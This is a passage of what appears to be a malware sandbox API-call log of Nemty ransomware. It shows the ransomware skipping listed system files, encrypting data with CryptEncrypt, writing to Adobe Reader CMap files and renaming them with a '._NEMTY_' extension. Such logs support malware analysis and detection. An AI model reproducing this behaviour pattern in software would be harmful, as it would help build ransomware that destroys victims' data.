lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-2", lpUsedDefaultChar=0x0) returned 12 [0196.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-2", lpUsedDefaultChar=0x0) returned 12 [0196.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-2", lpUsedDefaultChar=0x0) returned 12 [0196.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.950] Sleep (dwMilliseconds=0x5) [0196.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x290bd570, dwHighDateTime=0x1d561e8)) [0196.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x290bd570, dwHighDateTime=0x1d561e8)) [0196.964] GetLastError () returned 0x5 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.964] GetLastError () returned 0x5 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.964] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.964] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.964] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0196.964] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="aUs72WEA0SSBM3vgcu2ZKyVNmT6c/CfxCjpXoK9VWe5pCBEiO9Cn2qFoe3J+mhN4\r\np0vtW1pdRHy63ixqHFZg2KHRcP5ReioqqzGd8oOM7R9nDMdOGOHfAuG0HEYRqK33\r\nXZGFPe81Pd7H+lwkpNWkp4I9OnMbEXSSi/SAPZjjt0hfP7losdV3fYKlC8HMeKnj\r\nu3KMR76fYJuzF7RzWU4KYzrA+u6FbcDEMqar0MPZTTbyEaWvcfJYc0QJkiahcHpl\r\nTvYwa4X17HaAIN7ZQJTjofGUyQAekncPRmrqInDtRXrAkjy6KmjaQUNfvTM0eJAY\r\nIzPMBoKwOKiHuTPgVXx6uA==\r\n", pcchString=0x653e91c) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0196.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0196.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.964] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.073] CloseHandle (hObject=0xffffffff) returned 0 [0197.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0197.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0197.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.073] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2._nemty_kgobjgd_")) returned 0 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.073] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2=".") returned 1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="..") returned 1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="...") returned 1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="windows") returned -1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="$RECYCLE.BIN") returned 1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="rsa") returned -1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="NTDETECT.COM") returned -1 [0197.073] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="ntldr") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="MSDOS.SYS") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="IO.SYS") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="boot.ini") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="boot.ini") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="AUTOEXEC.BAT") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="ntuser.dat") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="desktop.ini") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="CONFIG.SYS") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="RECYCLER") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="BOOTSECT.BAK") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="bootmgr") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="programdata") returned -1 [0197.074] lstrcmpiW (lpString1="Adobe-CNS1-3", lpString2="appdata") returned -1 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-3", lpUsedDefaultChar=0x0) returned 12 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-3", lpUsedDefaultChar=0x0) returned 12 [0197.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-3", lpUsedDefaultChar=0x0) returned 12 [0197.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0197.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-3", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-3", lpUsedDefaultChar=0x0) returned 12 [0197.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0197.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0197.074] Sleep (dwMilliseconds=0x5) [0197.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x291ee070, dwHighDateTime=0x1d561e8)) [0197.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x291ee070, dwHighDateTime=0x1d561e8)) [0197.090] GetLastError () returned 0x5 [0197.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.090] GetLastError () returned 0x5 [0197.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.090] 